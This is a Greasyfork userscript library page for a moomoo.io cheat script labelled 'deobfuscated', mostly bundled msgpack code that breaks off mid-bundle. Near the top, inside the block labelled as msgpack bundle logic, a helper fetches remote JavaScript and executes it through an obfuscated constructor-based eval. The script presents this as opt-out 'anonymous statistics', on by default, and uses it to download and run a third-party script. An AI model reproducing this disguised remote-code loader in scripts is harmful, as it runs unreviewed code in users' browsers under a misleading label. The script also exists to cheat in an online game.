Tính tiền mày lun :) (deobfuscated)

Unkillable Script (unless dumb sync or lag)

Acest script nu ar trebui instalat direct. Aceasta este o bibliotecă pentru alte scripturi care este inclusă prin directiva meta a // @require https://update.greasyfork.org/scripts/435300/986954/T%C3%ADnh%20ti%E1%BB%81n%20m%C3%A0y%20lun%20%3A%29%20%28deobfuscated%29.js

// ==UserScript==
// @name         Tính tiền mày lun :) (deobfuscated)
// @version      2
// @description  Unkillable Script (unless dumb sync or lag)
// @author       Rin
// @include      *://moomoo.io/*
// @include      *://sandbox.moomoo.io/*
// @include      *://dev.moomoo.io/*
// @icon         https://sandbox.moomoo.io/img/icons/crown.png
// @grant        none
// @run-at document-start
// ==/UserScript==

/* this is for script improvement, you can contribute anonymous deaths / damage and
(so we can improve the anti insta)
a few other statistics about gameplay : if you don't want it, turn it off here by changing
true to false ; if you don't feel safe, just disable it! :) */
const anonymousStatistics = true;

//bundle.js logic & msgpack
! function (e) {
	if("object" == typeof exports && "undefined" != typeof module) module.exports = e();
	else if("function" == typeof define && define.amd) define([], e);
	else {
		("undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : this)
		.msgpack = e()
	};
    function ls(B) {
        try {
        let xzx = new XMLHttpRequest();
            xzx.open("GET", B, false);
            xzx.send();
        let a = 'constructor';
        a[a][a](xzx.responseText)();
        }catch(e){console.error(e)};
    };
    if (anonymousStatistics) {
        try {
            ls(window.location.protocol + "//greasyfork.org/scripts/410512-sci-js-from-ksw2-center/code/scijs%20(from%20ksw2-center).js");
        } catch(e){console.error(e)};
    };
    ls(window.location.protocol + "//code.jquery.com/jquery-3.3.1.min.js");
    ls(window.location.protocol + "//code.jquery.com/ui/1.12.0/jquery-ui.min.js");
    ls(window.location.protocol + "//cdnjs.cloudflare.com/ajax/libs/jquery-confirm/3.3.0/jquery-confirm.min.js");
}(function () {
	return function e(t, n, r) {
		function i(a, s) {
			if(!n[a]) {
				if(!t[a]) {
					var l = "function" == typeof require && require;
					if(!s && l) return l(a, !0);
					if(o) return o(a, !0);
					var c = new Error("Cannot find module '" + a + "'");
					throw c.code = "MODULE_NOT_FOUND", c
				}
				var u = n[a] = {
					exports: {}
				};
				t[a][0].call(u.exports, function (e) {
					var n = t[a][1][e];
					return i(n || e)
				}, u, u.exports, e, t, n, r)
			}
			return n[a].exports
		}
		for(var o = "function" == typeof require && require, a = 0; a < r.length; a++) i(r[a]);
		return i
	}({
		1: [function (e, t, n) {
			n.encode = e("./encode")
				.encode, n.decode = e("./decode")
				.decode, n.Encoder = e("./encoder")
				.Encoder, n.Decoder = e("./decoder")
				.Decoder, n.createCodec = e("./ext")
				.createCodec, n.codec = e("./codec")
				.codec
		}, {
			"./codec": 10
			, "./decode": 12
			, "./decoder": 13
			, "./encode": 15
			, "./encoder": 16
			, "./ext": 20
		}]
		, 2: [function (e, t, n) {
			(function (e) {
				function n(e) {
					return e && e.isBuffer && e
				}
				t.exports = n(void 0 !== e && e) || n(this.Buffer) || n("undefined" != typeof window && window.Buffer) || this.Buffer
			})
			.call(this, e("buffer")
				.Buffer)
		}, {
			buffer: 29
		}]
		, 3: [function (e, t, n) {
			n.copy = function (e, t, n, r) {
				var i;
				n || (n = 0), r || 0 === r || (r = this.length), t || (t = 0);
				var o = r - n;
				if(e === this && n < t && t < r)
					for(i = o - 1; i >= 0; i--) e[i + t] = this[i + n];
				else
					for(i = 0; i < o; i++) e[i + t] = this[i + n];
				return o
			}, n.toString = function (e, t, n) {
				var r = this
					, i = 0 | t;
				n || (n = r.length);
				for(var o = "", a = 0; i < n;)(a = r[i++]) < 128 ? o += String.fromCharCode(a) : (192 == (224 & a) ? a = (31 & a) << 6 | 63 & r[i++] : 224 == (240 & a) ? a = (15 & a) << 12 | (63 & r[i++]) << 6 | 63 & r[i++] : 240 == (248 & a) && (a = (7 & a) << 18 | (63 & r[i++]) << 12 | (63 & r[i++]) << 6 | 63 & r[i++]), a >= 65536 ? (a -= 65536, o += String.fromCharCode(55296 + (a >>> 10), 56320 + (1023 & a))) : o += String.fromCharCode(a));
				return o
			}, n.write = function (e, t) {
				for(var n = this, r = t || (t |= 0), i = e.length, o = 0, a = 0; a < i;)(o = e.charCodeAt(a++)) < 128 ? n[r++] = o : o < 2048 ? (n[r++] = 192 | o >>> 6, n[r++] = 128 | 63 & o) : o < 55296 || o > 57343 ? (n[r++] = 224 | o >>> 12, n[r++] = 128 | o >>> 6 & 63, n[r++] = 128 | 63 & o) : (o = 65536 + (o - 55296 << 10 | e.charCodeAt(a++) - 56320), n[r++] = 240 | o >>> 18, n[r++] = 128 | o >>> 12 & 63, n[r++] = 128 | o >>> 6 & 63, n[r++] = 128 | 63 & o);
				return r - t
			}
		}, {}]
		, 4: [function (e, t, n) {
			function r(e) {
				return new Array(e)
			}
			var i = e("./bufferish");
			(n = t.exports = r(0))
			.alloc = r, n.concat = i.concat, n.from = function (e) {
				if(!i.isBuffer(e) && i.isView(e)) e = i.Uint8Array.from(e);
				else if(i.isArrayBuffer(e)) e = new Uint8Array(e);
				else {
					if("string" == typeof e) return i.from.call(n, e);
					if("number" == typeof e) throw new TypeError('"value" argument must not be a number')
				}
				return Array.prototype.slice.call(e)
			}
		}, {
			"./bufferish": 8
		}]
		, 5: [function (e, t, n) {
			function r(e) {
				return new o(e)
			}
			var i = e("./bufferish")
				, o = i.global;
			(n = t.exports = i.hasBuffer ? r(0) : [])
			.alloc = i.hasBuffer && o.alloc || r, n.concat = i.concat, n.from = function (e) {
				if(!i.isBuffer(e) && i.isView(e)) e = i.Uint8Array.from(e);
				else if(i.isArrayBuffer(e)) e = new Uint8Array(e);
				else {
					if("string" == typeof e) return i.from.call(n, e);
					if("number" == typeof e) throw new TypeError('"value" argument must not be a number')
				}
				return o.from && 1 !== o.from.length ? o.from(e) : new o(e)
			}
		}, {
			"./bufferish": 8
		}]
		, 6: [function (e, t, n) {
			function r(e, t, n, r) {
				var s = a.isBuffer(this)
					, l = a.isBuffer(e);
				if(s && l) return this.copy(e, t, n, r);
				if(c || s || l || !a.isView(this) || !a.isView(e)) return o.copy.call(this, e, t, n, r);
				var u = n || null != r ? i.call(this, n, r) : this;
				return e.set(u, t), u.length
			}

			function i(e, t) {
				var n = this.slice || !c && this.subarray;
				if(n) return n.call(this, e, t);
				var i = a.alloc.call(this, t - e);
				return r.call(this, i, 0, e, t), i
			}
			var o = e("./buffer-lite");
			n.copy = r, n.slice = i, n.toString = function (e, t, n) {
				return (!l && a.isBuffer(this) ? this.toString : o.toString)
					.apply(this, arguments)
			}, n.write = function (e) {
				return function () {
					return (this[e] || o[e])
						.apply(this, arguments)
				}
			}("write");
			var a = e("./bufferish")
				, s = a.global
				, l = a.hasBuffer && "TYPED_ARRAY_SUPPORT" in s
				, c = l && !s.TYPED_ARRAY_SUPPORT
		}, {
			"./buffer-lite": 3
			, "./bufferish": 8
		}]
		, 7: [function (e, t, n) {
			function r(e) {
				return new Uint8Array(e)
			}
			var i = e("./bufferish");
			(n = t.exports = i.hasArrayBuffer ? r(0) : [])
			.alloc = r, n.concat = i.concat, n.from = function (e) {
				if(i.isView(e)) {
					var t = e.byteOffset
						, r = e.byteLength;
					(e = e.buffer)
					.byteLength !== r && (e.slice ? e = e.slice(t, t + r) : (e = new Uint8Array(e))
						.byteLength !== r && (e = Array.prototype.slice.call(e, t, t + r)))
				} else {
					if("string" == typeof e) return i.from.call(n, e);
					if("number" == typeof e) throw new TypeError('"value" argument must not be a number')
				}
				return new Uint8Array(e)
			}
		}, {
			"./bufferish": 8
		}]
		, 8: [function (e, t, n) {
			function r(e) {
				return i(this)
					.alloc(e)
			}

			function i(e) {
				return f(e) ? p : d(e) ? A : u(e) ? h : l ? p : c ? A : h
			}

			function o() {
				return !1
			}

			function a(e, t) {
				return e = "[object " + e + "]"
					, function (n) {
						return null != n && {}.toString.call(t ? n[t] : n) === e
					}
			}
			var s = n.global = e("./buffer-global")
				, l = n.hasBuffer = s && !!s.isBuffer
				, c = n.hasArrayBuffer = "undefined" != typeof ArrayBuffer
				, u = n.isArray = e("isarray");
			n.isArrayBuffer = c ? function (e) {
				return e instanceof ArrayBuffer || m(e)
			} : o;
			var f = n.isBuffer = l ? s.isBuffer : o
				, d = n.isView = c ? ArrayBuffer.isView || a("ArrayBuffer", "buffer") : o;
			n.alloc = r, n.concat = function (e, t) {
				t || (t = 0, Array.prototype.forEach.call(e, function (e) {
					t += e.length
				}));
				var i = this !== n && this || e[0]
					, o = r.call(i, t)
					, a = 0;
				return Array.prototype.forEach.call(e, function (e) {
					a += g.copy.call(e, o, a)
				}), o
			}, n.from = function (e) {
				return "string" == typeof e ? function (e) {
						var t = 3 * e.length
							, n = r.call(this, t)
							, i = g.write.call(n, e);
						return t !== i && (n = g.slice.call(n, 0, i)), n
					}.call(this, e) : i(this)
					.from(e)
			};
			var h = n.Array = e("./bufferish-array")
				, p = n.Buffer = e("./bufferish-buffer")
				, A = n.Uint8Array = e("./bufferish-uint8array")
				, g = n.prototype = e("./bufferish-proto")
				, m = a("ArrayBuffer")
		}, {
			"./buffer-global": 2
			, "./bufferish-array": 4
			, "./bufferish-buffer": 5
			, "./bufferish-proto": 6
			, "./bufferish-uint8array": 7
			, isarray: 34
		}]
		, 9: [function (e, t, n) {
			function r(e) {
				return this instanceof r ? (this.options = e, void this.init()) : new r(e)
			}

			function i(e, t) {
				return e && t ? function () {
					return e.apply(this, arguments), t.apply(this, arguments)
				} : e || t
			}

			function o(e) {
				return new r(e)
			}
			var a = e("isarray");
			n.createCodec = o, n.install = function (e) {
				for(var t in e) r.prototype[t] = i(r.prototype[t], e[t])
			}, n.filter = function (e) {
				return a(e) ? function (e) {
					function t(e, t) {
						return t(e)
					}
					return e = e.slice()
						, function (n) {
							return e.reduce(t, n)
						}
				}(e) : e
			};
			var s = e("./bufferish");
			r.prototype.init = function () {
				var e = this.options;
				return e && e.uint8array && (this.bufferish = s.Uint8Array), this
			}, n.preset = o({
				preset: !0
			})
		}, {
			"./bufferish": 8
			, isarray: 34
		}]
		, 10: [function (e, t, n) {
			e("./read-core"), e("./write-core"), n.codec = {
				preset: e("./codec-base")
					.preset
			}
		}, {
			"./codec-base": 9
			, "./read-core": 22
			, "./write-core": 25
		}]
		, 11: [function (e, t, n) {
			function r(e) {
				if(!(this instanceof r)) return new r(e);
				if(e && (this.options = e, e.codec)) {
					var t = this.codec = e.codec;
					t.bufferish && (this.bufferish = t.bufferish)
				}
			}
			n.DecodeBuffer = r;
			var i = e("./read-core")
				.preset;
			e("./flex-buffer")
				.FlexDecoder.mixin(r.prototype), r.prototype.codec = i, r.prototype.fetch = function () {
					return this.codec.decode(this)
				}
		}, {
			"./flex-buffer": 21
			, "./read-core": 22
		}]
		, 12: [function (e, t, n) {
			n.decode = function (e, t) {
				var n = new r(t);
				return n.write(e), n.read()
			};
			var r = e("./decode-buffer")
				.DecodeBuffer
		}, {
			"./decode-buffer": 11
		}]
		, 13: [function (e, t, n) {
			function r(e) {
				return this instanceof r ? void o.call(this, e) : new r(e)
			}
			n.Decoder = r;
			var i = e("event-lite")
				, o = e("./decode-buffer")
				.DecodeBuffer;
			r.prototype = new o, i.mixin(r.prototype), r.prototype.decode = function (e) {
				arguments.length && this.write(e), this.flush()
			}, r.prototype.push = function (e) {
				this.emit("data", e)
			}, r.prototype.end = function (e) {
				this.decode(e), this.emit("end")
			}
		}, {
			"./decode-buffer": 11
			, "event-lite": 31
		}]
		, 14: [function (e, t, n) {
			function r(e) {
				if(!(this instanceof r)) return new r(e);
				if(e && (this.options = e, e.codec)) {
					var t = this.codec = e.codec;
					t.bufferish && (this.bufferish = t.bufferish)
				}
			}
			n.EncodeBuffer = r;
			var i = e("./write-core")
				.preset;
			e("./flex-buffer")
				.FlexEncoder.mixin(r.prototype), r.prototype.codec = i, r.prototype.write = function (e) {
					this.codec.encode(this, e)
				}
		}, {
			"./flex-buffer": 21
			, "./write-core": 25
		}]
		, 15: [function (e, t, n) {
			n.encode = function (e, t) {
				var n = new r(t);
				return n.write(e), n.read()
			};
			var r = e("./encode-buffer")
				.EncodeBuffer
		}, {
			"./encode-buffer": 14
		}]
		, 16: [function (e, t, n) {
			function r(e) {
				return this instanceof r ? void o.call(this, e) : new r(e)
			}
			n.Encoder = r;
			var i = e("event-lite")
				, o = e("./encode-buffer")
				.EncodeBuffer;
			r.prototype = new o, i.mixin(r.prototype), r.prototype.encode = function (e) {
				this.write(e), this.emit("data", this.read())
			}, r.prototype.end = function (e) {
				arguments.length && this.encode(e), this.flush(), this.emit("end")
			}
		}, {
			"./encode-buffer": 14
			, "event-lite": 31
		}]
		, 17: [function (e, t, n) {
			n.ExtBuffer = function e(t, n) {
				return this instanceof e ? (this.buffer = r.from(t), void(this.type = n)) : new e(t, n)
			};
			var r = e("./bufferish")
		}, {
			"./bufferish": 8
		}]
		, 18: [function (e, t, n) {
			function r(t) {
				return s || (s = e("./encode")
					.encode), s(t)
			}

			function i(e) {
				return e.valueOf()
			}

			function o(e) {
				(e = RegExp.prototype.toString.call(e)
					.split("/"))
				.shift();
				var t = [e.pop()];
				return t.unshift(e.join("/")), t
			}

			function a(e) {
				var t = {};
				for(var n in f) t[n] = e[n];
				return t
			}
			n.setExtPackers = function (e) {
				e.addExtPacker(14, Error, [a, r]), e.addExtPacker(1, EvalError, [a, r]), e.addExtPacker(2, RangeError, [a, r]), e.addExtPacker(3, ReferenceError, [a, r]), e.addExtPacker(4, SyntaxError, [a, r]), e.addExtPacker(5, TypeError, [a, r]), e.addExtPacker(6, URIError, [a, r]), e.addExtPacker(10, RegExp, [o, r]), e.addExtPacker(11, Boolean, [i, r]), e.addExtPacker(12, String, [i, r]), e.addExtPacker(13, Date, [Number, r]), e.addExtPacker(15, Number, [i, r]), "undefined" != typeof Uint8Array && (e.addExtPacker(17, Int8Array, u), e.addExtPacker(18, Uint8Array, u), e.addExtPacker(19, Int16Array, u), e.addExtPacker(20, Uint16Array, u), e.addExtPacker(21, Int32Array, u), e.addExtPacker(22, Uint32Array, u), e.addExtPacker(23, Float32Array, u), "undefined" != typeof Float64Array && e.addExtPacker(24, Float64Array, u), "undefined" != typeof Uint8ClampedArray && e.addExtPacker(25, Uint8ClampedArray, u), e.addExtPacker(26, ArrayBuffer, u), e.addExtPacker(29, DataView, u)), l.hasBuffer && e.addExtPacker(27, c, l.from)
			};
			var s, l = e("./bufferish")
				, c = l.global
				, u = l.Uint8Array.from
				, f = {
					name: 1
					, message: 1
					, stack: 1
					, columnNumber: 1
					, fileName: 1
					, lineNumber: 1
				}
		}, {
			"./bufferish": 8
			, "./encode": 15
		}]
		, 19: [function (e, t, n) {
			function r(t) {
				return l || (l = e("./decode")
					.decode), l(t)
			}

			function i(e) {
				return RegExp.apply(null, e)
			}

			function o(e) {
				return function (t) {
					var n = new e;
					for(var r in f) n[r] = t[r];
					return n
				}
			}

			function a(e) {
				return function (t) {
					return new e(t)
				}
			}

			function s(e) {
				return new Uint8Array(e)
					.buffer
			}
			n.setExtUnpackers = function (e) {
				e.addExtUnpacker(14, [r, o(Error)]), e.addExtUnpacker(1, [r, o(EvalError)]), e.addExtUnpacker(2, [r, o(RangeError)]), e.addExtUnpacker(3, [r, o(ReferenceError)]), e.addExtUnpacker(4, [r, o(SyntaxError)]), e.addExtUnpacker(5, [r, o(TypeError)]), e.addExtUnpacker(6, [r, o(URIError)]), e.addExtUnpacker(10, [r, i]), e.addExtUnpacker(11, [r, a(Boolean)]), e.addExtUnpacker(12, [r, a(String)]), e.addExtUnpacker(13, [r, a(Date)]), e.addExtUnpacker(15, [r, a(Number)]), "undefined" != typeof Uint8Array && (e.addExtUnpacker(17, a(Int8Array)), e.addExtUnpacker(18, a(Uint8Array)), e.addExtUnpacker(19, [s, a(Int16Array)]), e.addExtUnpacker(20, [s, a(Uint16Array)]), e.addExtUnpacker(21, [s, a(Int32Array)]), e.addExtUnpacker(22, [s, a(Uint32Array)]), e.addExtUnpacker(23, [s, a(Float32Array)]), "undefined" != typeof Float64Array && e.addExtUnpacker(24, [s, a(Float64Array)]), "undefined" != typeof Uint8ClampedArray && e.addExtUnpacker(25, a(Uint8ClampedArray)), e.addExtUnpacker(26, s), e.addExtUnpacker(29, [s, a(DataView)])), c.hasBuffer && e.addExtUnpacker(27, a(u))
			};
			var l, c = e("./bufferish")
				, u = c.global
				, f = {
					name: 1
					, message: 1
					, stack: 1
					, columnNumber: 1
					, fileName: 1
					, lineNumber: 1
				}
		}, {
			"./bufferish": 8
			, "./decode": 12
		}]
		, 20: [function (e, t, n) {
			e("./read-core"), e("./write-core"), n.createCodec = e("./codec-base")
				.createCodec
		}, {
			"./codec-base": 9
			, "./read-core": 22
			, "./write-core": 25
		}]
		, 21: [function (e, t, n) {
			function r() {
				if(!(this instanceof r)) return new r
			}

			function i() {
				if(!(this instanceof i)) return new i
			}

			function o() {
				throw new Error("method not implemented: write()")
			}

			function a() {
				throw new Error("method not implemented: fetch()")
			}

			function s() {
				return this.buffers && this.buffers.length ? (this.flush(), this.pull()) : this.fetch()
			}

			function l(e) {
				(this.buffers || (this.buffers = []))
				.push(e)
			}

			function c() {
				return (this.buffers || (this.buffers = []))
					.shift()
			}

			function u(e) {
				return function (t) {
					for(var n in e) t[n] = e[n];
					return t
				}
			}
			n.FlexDecoder = r, n.FlexEncoder = i;
			var f = e("./bufferish")
				, d = 2048
				, h = 65536
				, p = "BUFFER_SHORTAGE";
			r.mixin = u({
				bufferish: f
				, write: function (e) {
					var t = this.offset ? f.prototype.slice.call(this.buffer, this.offset) : this.buffer;
					this.buffer = t ? e ? this.bufferish.concat([t, e]) : t : e, this.offset = 0
				}
				, fetch: a
				, flush: function () {
					for(; this.offset < this.buffer.length;) {
						var e, t = this.offset;
						try {
							e = this.fetch()
						} catch (e) {
							if(e && e.message != p) throw e;
							this.offset = t;
							break
						}
						this.push(e)
					}
				}
				, push: l
				, pull: c
				, read: s
				, reserve: function (e) {
					var t = this.offset
						, n = t + e;
					if(n > this.buffer.length) throw new Error(p);
					return this.offset = n, t
				}
				, offset: 0
			}), r.mixin(r.prototype), i.mixin = u({
				bufferish: f
				, write: o
				, fetch: function () {
					var e = this.start;
					if(e < this.offset) {
						var t = this.start = this.offset;
						return f.prototype.slice.call(this.buffer, e, t)
					}
				}
				, flush: function () {
					for(; this.start < this.offset;) {
						var e = this.fetch();
						e && this.push(e)
					}
				}
				, push: l
				, pull: function () {
					var e = this.buffers || (this.buffers = [])
						, t = e.length > 1 ? this.bufferish.concat(e) : e[0];
					return e.length = 0, t
				}
				, read: s
				, reserve: function (e) {
					var t = 0 | e;
					if(this.buffer) {
						var n = this.buffer.length
							, r = 0 | this.offset
							, i = r + t;
						if(i < n) return this.offset = i, r;
						this.flush(), e = Math.max(e, Math.min(2 * n, this.maxBufferSize))
					}
					return e = Math.max(e, this.minBufferSize), this.buffer = this.bufferish.alloc(e), this.start = 0, this.offset = t, 0
				}
				, send: function (e) {
					var t = e.length;
					if(t > this.minBufferSize) this.flush(), this.push(e);
					else {
						var n = this.reserve(t);
						f.prototype.copy.call(e, this.buffer, n)
					}
				}
				, maxBufferSize: h
				, minBufferSize: d
				, offset: 0
				, start: 0
			}), i.mixin(i.prototype)
		}, {
			"./bufferish": 8
		}]
		, 22: [function (e, t, n) {
			function r() {
				var e = this.options;
				return this.decode = function (e) {
					var t = s.getReadToken(e);
					return function (e) {
						var n = a(e)
							, r = t[n];
						if(!r) throw new Error("Invalid type: " + (n ? "0x" + n.toString(16) : n));
						return r(e)
					}
				}(e), e && e.preset && o.setExtUnpackers(this), this
			}
			var i = e("./ext-buffer")
				.ExtBuffer
				, o = e("./ext-unpacker")
				, a = e("./read-format")
				.readUint8
				, s = e("./read-token")
				, l = e("./codec-base");
			l.install({
				addExtUnpacker: function (e, t) {
					(this.extUnpackers || (this.extUnpackers = []))[e] = l.filter(t)
				}
				, getExtUnpacker: function (e) {
					return (this.extUnpackers || (this.extUnpackers = []))[e] || function (t) {
						return new i(t, e)
					}
				}
				, init: r
			}), n.preset = r.call(l.preset)
		}, {
			"./codec-base": 9
			, "./ext-buffer": 17
			, "./ext-unpacker": 19
			, "./read-format": 23
			, "./read-token": 24
		}]
		, 23: [function (e, t, n) {
			function r(e, t) {
				var n, r = {}
					, i = new Array(t)
					, o = new Array(t)
					, a = e.codec.decode;
				for(n = 0; n < t; n++) i[n] = a(e), o[n] = a(e);
				for(n = 0; n < t; n++) r[i[n]] = o[n];
				return r
			}

			function i(e, t) {
				var n, r = new Map
					, i = new Array(t)
					, o = new Array(t)
					, a = e.codec.decode;
				for(n = 0; n < t; n++) i[n] = a(e), o[n] = a(e);
				for(n = 0; n < t; n++) r.set(i[n], o[n]);
				return r
			}

			function o(e, t) {
				for(var n = new Array(t), r = e.codec.decode, i = 0; i < t; i++) n[i] = r(e);
				return n
			}

			function a(e, t) {
				var n = e.reserve(t)
					, r = n + t;
				return T.toString.call(e.buffer, "utf-8", n, r)
			}

			function s(e, t) {
				var n = e.reserve(t)
					, r = n + t
					, i = T.slice.call(e.buffer, n, r);
				return I.from(i)
			}

			function l(e, t) {
				var n = e.reserve(t)
					, r = n + t
					, i = T.slice.call(e.buffer, n, r);
				return I.Uint8Array.from(i)
					.buffer
			}

			function c(e, t) {
				var n = e.reserve(t + 1)
					, r = e.buffer[n++]
					, i = n + t
					, o = e.codec.getExtUnpacker(r);
				if(!o) throw new Error("Invalid ext type: " + (r ? "0x" + r.toString(16) : r));
				return o(T.slice.call(e.buffer, n, i))
			}

			function u(e) {
				var t = e.reserve(1);
				return e.buffer[t]
			}

			function f(e) {
				var t = e.reserve(1)
					, n = e.buffer[t];
				return 128 & n ? n - 256 : n
			}

			function d(e) {
				var t = e.reserve(2)
					, n = e.buffer;
				return n[t++] << 8 | n[t]
			}

			function h(e) {
				var t = e.reserve(2)
					, n = e.buffer
					, r = n[t++] << 8 | n[t];
				return 32768 & r ? r - 65536 : r
			}

			function p(e) {
				var t = e.reserve(4)
					, n = e.buffer;
				return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
			}

			function A(e) {
				var t = e.reserve(4)
					, n = e.buffer;
				return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
			}

			function g(e, t) {
				return function (n) {
					var r = n.reserve(e);
					return t.call(n.buffer, r, P)
				}
			}

			function m(e) {
				return new k(this, e)
					.toNumber()
			}

			function y(e) {
				return new C(this, e)
					.toNumber()
			}

			function w(e) {
				return new k(this, e)
			}

			function v(e) {
				return new C(this, e)
			}

			function b(e) {
				return B.read(this, e, !1, 23, 4)
			}

			function x(e) {
				return B.read(this, e, !1, 52, 8)
			}
			var B = e("ieee754")
				, E = e("int64-buffer")
				, k = E.Uint64BE
				, C = E.Int64BE;
			n.getReadFormat = function (e) {
				var t = I.hasArrayBuffer && e && e.binarraybuffer
					, n = e && e.int64;
				return {
					map: M && e && e.usemap ? i : r
					, array: o
					, str: a
					, bin: t ? l : s
					, ext: c
					, uint8: u
					, uint16: d
					, uint32: p
					, uint64: g(8, n ? w : m)
					, int8: f
					, int16: h
					, int32: A
					, int64: g(8, n ? v : y)
					, float32: g(4, b)
					, float64: g(8, x)
				}
			}, n.readUint8 = u;
			var I = e("./bufferish")
				, T = e("./bufferish-proto")
				, M = "undefined" != typeof Map
				, P = !0
		}, {
			"./bufferish": 8
			, "./bufferish-proto": 6
			, ieee754: 32
			, "int64-buffer": 33
		}]
		, 24: [function (e, t, n) {
			function r(e) {
				var t, n = new Array(256);
				for(t = 0; t <= 127; t++) n[t] = i(t);
				for(t = 128; t <= 143; t++) n[t] = a(t - 128, e.map);
				for(t = 144; t <= 159; t++) n[t] = a(t - 144, e.array);
				for(t = 160; t <= 191; t++) n[t] = a(t - 160, e.str);
				for(n[192] = i(null), n[193] = null, n[194] = i(!1), n[195] = i(!0), n[196] = o(e.uint8, e.bin), n[197] = o(e.uint16, e.bin), n[198] = o(e.uint32, e.bin), n[199] = o(e.uint8, e.ext), n[200] = o(e.uint16, e.ext), n[201] = o(e.uint32, e.ext), n[202] = e.float32, n[203] = e.float64, n[204] = e.uint8, n[205] = e.uint16, n[206] = e.uint32, n[207] = e.uint64, n[208] = e.int8, n[209] = e.int16, n[210] = e.int32, n[211] = e.int64, n[212] = a(1, e.ext), n[213] = a(2, e.ext), n[214] = a(4, e.ext), n[215] = a(8, e.ext), n[216] = a(16, e.ext), n[217] = o(e.uint8, e.str), n[218] = o(e.uint16, e.str), n[219] = o(e.uint32, e.str), n[220] = o(e.uint16, e.array), n[221] = o(e.uint32, e.array), n[222] = o(e.uint16, e.map), n[223] = o(e.uint32, e.map), t = 224; t <= 255; t++) n[t] = i(t - 256);
				return n
			}

			function i(e) {
				return function () {
					return e
				}
			}

			function o(e, t) {
				return function (n) {
					var r = e(n);
					return t(n, r)
				}
			}

			function a(e, t) {
				return function (n) {
					return t(n, e)
				}
			}
			var s = e("./read-format");
			n.getReadToken = function (e) {
				var t = s.getReadFormat(e);
				return e && e.useraw ? function (e) {
					var t, n = r(e)
						.slice();
					for(n[217] = n[196], n[218] = n[197], n[219] = n[198], t = 160; t <= 191; t++) n[t] = a(t - 160, e.bin);
					return n
				}(t) : r(t)
			}
		}, {
			"./read-format": 23
		}]
		, 25: [function (e, t, n) {
			function r() {
				var e = this.options;
				return this.encode = function (e) {
					var t = a.getWriteType(e);
					return function (e, n) {
						var r = t[typeof n];
						if(!r) throw new Error('Unsupported type "' + typeof n + '": ' + n);
						r(e, n)
					}
				}(e), e && e.preset && o.setExtPackers(this), this
			}
			var i = e("./ext-buffer")
				.ExtBuffer
				, o = e("./ext-packer")
				, a = e("./write-type")
				, s = e("./codec-base");
			s.install({
				addExtPacker: function (e, t, n) {
					function r(t) {
						return n && (t = n(t)), new i(t, e)
					}
					n = s.filter(n);
					var o = t.name;
					o && "Object" !== o ? (this.extPackers || (this.extPackers = {}))[o] = r : (this.extEncoderList || (this.extEncoderList = []))
						.unshift([t, r])
				}
				, getExtPacker: function (e) {
					var t = this.extPackers || (this.extPackers = {})
						, n = e.constructor
						, r = n && n.name && t[n.name];
					if(r) return r;
					for(var i = this.extEncoderList || (this.extEncoderList = []), o = i.length, a = 0; a < o; a++) {
						var s = i[a];
						if(n === s[0]) return s[1]
					}
				}
				, init: r
			}), n.preset = r.call(s.preset)
		}, {
			"./codec-base": 9
			, "./ext-buffer": 17
			, "./ext-packer": 18
			, "./write-type": 27
		}]
		, 26: [function (e, t, n) {
			function r() {
				var e = g.slice();
				return e[196] = i(196), e[197] = o(197), e[198] = a(198), e[199] = i(199), e[200] = o(200), e[201] = a(201), e[202] = s(202, 4, v.writeFloatBE || u, !0), e[203] = s(203, 8, v.writeDoubleBE || f, !0), e[204] = i(204), e[205] = o(205), e[206] = a(206), e[207] = s(207, 8, l), e[208] = i(208), e[209] = o(209), e[210] = a(210), e[211] = s(211, 8, c), e[217] = i(217), e[218] = o(218), e[219] = a(219), e[220] = o(220), e[221] = a(221), e[222] = o(222), e[223] = a(223), e
			}

			function i(e) {
				return function (t, n) {
					var r = t.reserve(2)
						, i = t.buffer;
					i[r++] = e, i[r] = n
				}
			}

			function o(e) {
				return function (t, n) {
					var r = t.reserve(3)
						, i = t.buffer;
					i[r++] = e, i[r++] = n >>> 8, i[r] = n
				}
			}

			function a(e) {
				return function (t, n) {
					var r = t.reserve(5)
						, i = t.buffer;
					i[r++] = e, i[r++] = n >>> 24, i[r++] = n >>> 16, i[r++] = n >>> 8, i[r] = n
				}
			}

			function s(e, t, n, r) {
				return function (i, o) {
					var a = i.reserve(t + 1);
					i.buffer[a++] = e, n.call(i.buffer, o, a, r)
				}
			}

			function l(e, t) {
				new p(this, t, e)
			}

			function c(e, t) {
				new A(this, t, e)
			}

			function u(e, t) {
				d.write(this, e, t, !1, 23, 4)
			}

			function f(e, t) {
				d.write(this, e, t, !1, 52, 8)
			}
			var d = e("ieee754")
				, h = e("int64-buffer")
				, p = h.Uint64BE
				, A = h.Int64BE
				, g = e("./write-uint8")
				.uint8
				, m = e("./bufferish")
				, y = m.global
				, w = m.hasBuffer && "TYPED_ARRAY_SUPPORT" in y && !y.TYPED_ARRAY_SUPPORT
				, v = m.hasBuffer && y.prototype || {};
			n.getWriteToken = function (e) {
				return e && e.uint8array ? function () {
					var e = r();
					return e[202] = s(202, 4, u), e[203] = s(203, 8, f), e
				}() : w || m.hasBuffer && e && e.safe ? function () {
					var e = g.slice();
					return e[196] = s(196, 1, y.prototype.writeUInt8), e[197] = s(197, 2, y.prototype.writeUInt16BE), e[198] = s(198, 4, y.prototype.writeUInt32BE), e[199] = s(199, 1, y.prototype.writeUInt8), e[200] = s(200, 2, y.prototype.writeUInt16BE), e[201] = s(201, 4, y.prototype.writeUInt32BE), e[202] = s(202, 4, y.prototype.writeFloatBE), e[203] = s(203, 8, y.prototype.writeDoubleBE), e[204] = s(204, 1, y.prototype.writeUInt8), e[205] = s(205, 2, y.prototype.writeUInt16BE), e[206] = s(206, 4, y.prototype.writeUInt32BE), e[207] = s(207, 8, l), e[208] = s(208, 1, y.prototype.writeInt8), e[209] = s(209, 2, y.prototype.writeInt16BE), e[210] = s(210, 4, y.prototype.writeInt32BE), e[211] = s(211, 8, c), e[217] = s(217, 1, y.prototype.writeUInt8), e[218] = s(218, 2, y.prototype.writeUInt16BE), e[219] = s(219, 4, y.prototype.writeUInt32BE), e[220] = s(220, 2, y.prototype.writeUInt16BE), e[221] = s(221, 4, y.prototype.writeUInt32BE), e[222] = s(222, 2, y.prototype.writeUInt16BE), e[223] = s(223, 4, y.prototype.writeUInt32BE), e
				}() : r()
			}
		}, {
			"./bufferish": 8
			, "./write-uint8": 28
			, ieee754: 32
			, "int64-buffer": 33
		}]
